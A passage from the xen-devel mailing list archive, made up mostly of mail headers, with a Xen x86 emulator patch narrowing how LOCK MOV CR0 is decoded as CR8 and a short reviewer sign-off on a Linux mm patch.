+    OFFSET(CPUINFO_vmx_vmfail_valid, struct cpu_info, vmx_vmfail_valid);
     DEFINE(CPUINFO_sizeof, sizeof(struct cpu_info));
     BLANK();
 

base-commit: c4bf5bc5f0edbcbc5965c924db069483b2cf6049
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 19:49:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 19:49:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356516.1611103 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whBnM-0004yg-WA; Tue, 07 Jul 2026 19:49:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356516.1611103; Tue, 07 Jul 2026 19:49:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whBnM-0004yZ-TJ; Tue, 07 Jul 2026 19:49:28 +0000
Received: by outflank-mailman (input) for mailman id 1356516;
 Tue, 07 Jul 2026 19:49:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1whBnK-0004yS-VU
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 19:49:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whBnI-00Eakh-Oh
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 21:49:24 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4d583f-bab6-0a2a0a5309dd-0a2a450491aa-4
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 21:49:24 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4d5844-a01d-0a2a45040019-d155802da845-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 21:49:24 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b27c7451so12089805e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:49:24 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f4e3afsm88611485e9.7.2026.07.07.12.49.23
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 07 Jul 2026 12:49:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783453764; x=1784058564; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=GNAZh+YVrrF3CVOLHqSmEARVfm8tjKj1UJEXvh4756w=;
        b=lMZ0bh4CQjWdQGnVZBvGlweWtHArQMUzGAlFcZ+srslrUELPG2prPF9lrYKcOZzuxT
         A8JxrNxw0PXxL+/LXLrXp3cD8NAHWjuU3NUkzA8oNUZH0S4sCI8JpX7ZXQ3732gdk32r
         u2q+ju8X5u208HIxpc2TnLmwfmzQUrDnwGIPk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783453764; x=1784058564;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=GNAZh+YVrrF3CVOLHqSmEARVfm8tjKj1UJEXvh4756w=;
        b=MOBPU8bq2KhuhcPI/MuyW5ToTC/qP75k/vq/TPQsMaV9ezcQLdeDb4sBYGeWrL8cSw
         MeRGdPZAwoqpavb5oqOJITYOFzNmhRCOM8mv3Kd7dGDVfL2irERs0YBqbt5JUL+ZA8K4
         tChS0XD3bpEsPlWabcucjyrRYW8Wxyfqswf9Wksq9O1Cxh0Si+Rwlw5wMQM6t/2xbCdr
         h2qSbXhIfzvb2K8Lz6LszeMoRrwialnGPHQnOL5rkEchMJK+NuSzgjWfQufNra+j8W97
         Z1j56LED+wMRnIjMcoyDkK5Zeh93HgdBJr7jbIiQFGlPhXRMXqQzJb4pETMcCJj69rvh
         Jbjw==
X-Gm-Message-State: AOJu0YwXIUWks+7nnkASpSWN9ZUG+DsG8j3nqP4XIMSDhiVtKHxww3pn
	VFGSGNex4Sgq/geqmi0hEQaAEFXqN28eNnviKvJKdWzHy8hgF9JRxR0Z85Hn3xy7cvnwyv20vhO
	hZaC6faQ=
X-Gm-Gg: AfdE7cmvWvnEfVrv5DaPHTwCxMa8sgH/YGkK0nrd2Nsh7MPeD/Z3oLQfAyMNEVp8vln
	qA+FkB2arUJI4lOCbUtNptWxmFyZ3ClGea/QNfEsrYSnOQwWTH5aFI1purALR6ydhREFdGWyNVC
	Ebka7SvavJP9pBOx9HCMkoqbrtdL32Pt1Gs7mnszfczt5Ms34sQJ1ffkvlF/UEAxwKKKONAX0Ih
	QJ9YRdl48rNYiqmZJQI0wJakT+WMLRPjmOnZTxnHb4ZxClRbbiN7vXqj6csJgh26Q0qPx1nB60U
	mM+DmQHMzgzj5UgkaZX5U0QUXw3v6SQBopZb/SkD5ms248w0Xnr3K/nJTwWRYfqSJKxfWfZ8mcW
	7DAHFahqD65Li/gduhLGhcHIPu98xMBVPPTkp75VhjkfRi9eLDXu8oAJ5HVqWgh5Ti4K+po4IfF
	15+Untuz7NnA/hdFh+Uz+njcT3m9zU7hapu1xmOw4yLqIP2zxeJTMNRtrW3iqbINk=
X-Received: by 2002:a05:600c:6990:b0:492:3fb5:3a17 with SMTP id 5b1f17b1804b1-493e17dda4dmr42962095e9.2.1783453763929;
        Tue, 07 Jul 2026 12:49:23 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
Date: Tue,  7 Jul 2026 20:49:21 +0100
Message-Id: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1783453764-ADD341CC-F93BA89E/0/0
X-purgate-type: clean
X-purgate-size: 1470

The APM description of the AltMovCR8 feature bit is:

  "LOCK MOV CR0 means MOV CR8"

Adjust the decode logic to behave like this.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

v3:
 * Change yet again.  A contact with information on the matter confirmed that
   it is a special case for Reg = 0, and not a general modifier to all Reg
   values.
---
 xen/arch/x86/x86_emulate/decode.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/arch/x86/x86_emulate/decode.c b/xen/arch/x86/x86_emulate/decode.c
index 2c13356c4d17..57f6baffb066 100644
--- a/xen/arch/x86/x86_emulate/decode.c
+++ b/xen/arch/x86/x86_emulate/decode.c
@@ -780,12 +780,12 @@ decode_twobyte(struct x86_emulate_state *s,
         break;
 
     case 0x20: case 0x22: /* mov to/from cr */
-        if ( s->lock_prefix && vcpu_has_cr8_legacy() )
+        if ( s->lock_prefix && vcpu_has_cr8_legacy() && s->modrm_reg == 0 )
         {
-            s->modrm_reg += 8;
+            s->modrm_reg = 8;
             s->lock_prefix = false;
         }
-        /* fall through */
+        fallthrough;
     case 0x21: case 0x23: /* mov to/from dr */
         ASSERT(s->ea.type == OP_REG); /* Early operand adjustment ensures this. */
         generate_exception_if(s->lock_prefix, X86_EXC_UD);
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 02:07:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 02:07:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356536.1611112 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whHgm-0004CB-DJ; Wed, 08 Jul 2026 02:07:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356536.1611112; Wed, 08 Jul 2026 02:07:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whHgm-0004C3-8R; Wed, 08 Jul 2026 02:07:04 +0000
Received: by outflank-mailman (input) for mailman id 1356536;
 Wed, 08 Jul 2026 02:07:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whHgk-0004Bx-Jl
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 02:07:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whHgi-00Fr0l-8I
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:07:00 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db08b-e002-0a2a0a5209dd-0a2a4509b7e8-44
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:06:59 +0200
Received: from [40.107.201.33]
 (helo=CH4PR04CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db0c2-97e6-0a2a45090019-286bc92166ab-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:06:59 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by SN7PR12MB8002.namprd12.prod.outlook.com (2603:10b6:806:34b::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 02:06:40 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Wed, 8 Jul 2026
 02:06:40 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=PDwLDSUw+IeP6Zq0PpjhOkFDOi0ADTY6sYbGnsZbiwyBhgUNFivWcqXcshfoKHYaXd8tIE2EIPV7G3Axrx1jMNFlOhNEJr5XeCWlILsKGRWWE7knLDUANNmbOU62x/Pp96Z7vaUs28UEUA/U/D3VAXokKhxiuXFBIIGjPeatulygyHJqswqs30+5lL+97+tpGwidvArsDuPDkLeBck0xidag2MaiOYCHHnuJPJj24f7CpBV7MvGZslv3fRHcKHzQogVfvG1xUVJHfQNE0KGa7wqAfuOIfkNmLU6bIM5Vie1fjZD58fxxNoIRIUiniuBDWAw+Dc6Q9Xka2kzD50yrIw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Fxkh07Qy3vfJQz6eckpUMmnibc6JICptSkx8IL0VI+4=;
 b=eynz3YDdxgirvdmsUHHCUndJtuyPKtLoXcdm0CRk4Q9rCQP9Ucm+sqf2qQYCsb83egpD6uLBFs+dZ5b7I/AP59Uk6OBUg+VqKbnK/2GIc8y0772AycBUZz/Oe2GIQNmk5KAmYJezjbq8wxOiylaWzenXKhFXEaFdplUL41SsypMf6tXYWiO3mh/WsF0KVFPQ9TCgn/E807ZvaCXyZPzrgoD3SZgQEE/WX/zvlTSokpP25sYv5ABv4eggWN9/GcVZIUq9S+7KVaE4ZaztgCNQ56Wtq1LtMm+tSj1g9C2wHECAWQNdRV2gHtDHfD3arHXqnDdNTzXYpsRFluqcL3T/NA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Fxkh07Qy3vfJQz6eckpUMmnibc6JICptSkx8IL0VI+4=;
 b=TQB45CXydMl+HmnMfcz5R23gRQbCpfOYoyTTpdrxZBMCaKlMuiXnz4gy7ozMvP4V/T9BLsDCio/HU5ksZcF+8E3b3dF9KR1TlEeVCBirhk6N5ZBP1vsod8PmT4fIiP0cvK+QoffU4JfL8hf/1kNuZDgGvNLDrkxl6Xx+NB3ViGtqRzkhNrU3ACAPBNkXCuOaUDXgBbvcMta1zc6eMtQa2TZD0CR9JyK0FXLnrbroI4k7a5wP+cvm51ZddI+nYhTtuiJ/o75HoGBmjQcQWOLA5lyiLu/5ZQyftgD6uQ+hI9mWJJ2w1ErIlMHK330fObXuOQzB5DzB5aGq+gaeKXgxWA==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 07 Jul 2026 22:06:37 -0400
Message-Id: <DJSTMAD98OD5.3JRZ25CI375A2@nvidia.com>
Subject: Re: [PATCH 05/13] mm: prefer mm->def_vma_flags in mm logic
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <3b4ccdc38819b42ddc79ee5a795831208ac7986c.1782760670.git.ljs@kernel.org>
In-Reply-To: <3b4ccdc38819b42ddc79ee5a795831208ac7986c.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: BL1P221CA0040.NAMP221.PROD.OUTLOOK.COM
 (2603:10b6:208:5b5::15) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|SN7PR12MB8002:EE_
X-MS-Office365-Filtering-Correlation-Id: ac094335-3773-468a-5753-08dedc958c92
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|7416014|376014|18002099003|22082099003|4143699003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	iMFI8np7I/AWw64xPVM6y4lT8ZkON4Jwo2t9b13ONoVnmdxjRp8aQV0PhZ+Adop8d6jiZC8phMVWRPVhBMfC0WO2TQobowJGP5wIPf1p7WdNDGMGENRQS0OwXX6vFWO8r117+nVgBh+0e90vB78pYp9GhNwGC1Lecu51r+UKVcv8IrKLtdiNlI6if8HcL9Hmdv8saPByxgwi/qpjbtfQ8Z7LoN2/Jk0ew8+LcIxa9wrKUHtftobfOSSHfpmDR9XPJt6im/YqVMuR4DAhGZPxTQAfJJNP+XR/u8G9zAfYvJvFXAHbkIxwWKm/iHGKB8cDgKGpLeQXtzBjxhkjEXzVRwgGcmCY4TP517Ste4nk8v3alhVAPYn9r8ZZMF/+cws7rI7SuUfOuyx/d4RfekMdZdvXu4rcEPmU986X8ehuh02Qe7Kf92+UGOPv6+wvUHMaPzxqdJlg7U0lN6XgG2ytbMxRskoB6gR7Km4wQ3L8S0ayJR4EQVyj1V1i+bU4DW2nPXpTxFwquzyfH1mQdbVTG6YQMKKc2kSAqbXhYMyX10LeRSTn2b+DYDzrP5uzqgm1ptirAmbZa7EUh/jzdaf4cQznFUfUE6SIHcerOPU6bJyv3362A9/Wm/TFsZhV+sf1qEgCwif6Y548IjdizZ1kUdBASBTXmUmVubj+hPai1nE=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(7416014)(376014)(18002099003)(22082099003)(4143699003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?a0hPSDIyZlRCdkgyUTdVanZjOWlRY1doTjJvNzZ2Y3ZocC9NdlM3S3owVlR6?=
 =?utf-8?B?UnNUU1JQeVpiUEtMelZlWjdOYnQ2L3dSemFUSFVMalB0NC9CVHJGWXplc2Jj?=
 =?utf-8?B?U2hTUUhMRFFHSHlIdFZ6QkVmWHNwajdHWFBlcEZRT29jaTV4eU50OFc2OWRq?=
 =?utf-8?B?WUVzZGFWQjQ4Q3p6U3hzVDdFZzlzZGRvUmxlT0NIVlRWYVVXaUlDd01PdHMz?=
 =?utf-8?B?WUpxTmpyYUoxTHN4ZzJvNGZHZFBLZ2lXT1FKSGwvUnM1aHM3V1NnNktmYkpY?=
 =?utf-8?B?T2JoYXVIQzd5YVdvMVZmQ3Jud2ptVTdhZUNyYmt3ZGQxQjdSWWNPZERaVnVJ?=
 =?utf-8?B?STB2VGh4ZDVadmRUV0ZyV3I0N05ZeU5PdGlDQlpIVlB5YSt3ZzNwTFJuV0RC?=
 =?utf-8?B?QUY3bERGVGNJSjRQMjFkYVZ1cjkrUGpkcmpHZjB6ZExuMEI5TjdUZjE4V3Nt?=
 =?utf-8?B?bitPY3krZDVySmh5OTNWYjNFMVAyWmMzZlFvb0F0TEtqdkljS0k5cWVJVGF3?=
 =?utf-8?B?TVBiYU94L0RvNDZEdVN0TC85OEpKdmJncENwQTB0ZG5mcE90RVJrU3NISHVq?=
 =?utf-8?B?Q1ZqSHYwK0FhV1dJdEJCalYvSHZJMXNBTERwNU5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773-468a-5753-08dedc958c92
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 02:06:40.1798
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: Gu7sX/Z7mv4RuOC95YjYOLCi9nGkXpxnvm0lhGfXg4m4cYNnRv/RF7+fqebqkUqo
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SN7PR12MB8002
X-purgate-ID: tlsNG-bad1c0/1783476419-571AA986-590BBE3A/0/0
X-purgate-type: clean
X-purgate-size: 755

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Currently mm->def_flags (of type vm_flags_t) is union'd with
> mm->def_vma_flags (of type vma_flags_t).
>
> As part of the effort to convert vm_flags_t usage to vma_flags_t (in orde=
r
> to no longer be arbitrarily limited to a system word size for VMA flags),
> prefer mm->def_vma_flags to mm->def_flags throughout the mm logic.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  mm/debug.c |  2 +-
>  mm/mlock.c | 13 +++++++------
>  mm/mmap.c  | 11 ++++++-----
>  mm/vma.c   |  4 ++--
>  4 files changed, 16 insertions(+), 14 deletions(-)
>

LGTM.

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 02:30:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 02:30:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356547.1611121 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI3T-0000L0-7T; Wed, 08 Jul 2026 02:30:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356547.1611121; Wed, 08 Jul 2026 02:30:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI3T-0000Ks-23; Wed, 08 Jul 2026 02:30:31 +0000
Received: by outflank-mailman (input) for mailman id 1356547;
 Wed, 08 Jul 2026 02:30:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whI3S-0000Km-8L
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 02:30:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whI3R-009Nqt-1I
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:30:29 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db611-bab6-0a2a0a5309dd-0a2a45018710-30
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:30:28 +0200
Received: from [52.101.46.41]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db642-400f-0a2a45010019-34652e294858-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:30:28 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by PH8PR12MB6963.namprd12.prod.outlook.com (2603:10b6:510:1be::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 02:30:18 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Wed, 8 Jul 2026
 02:30:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
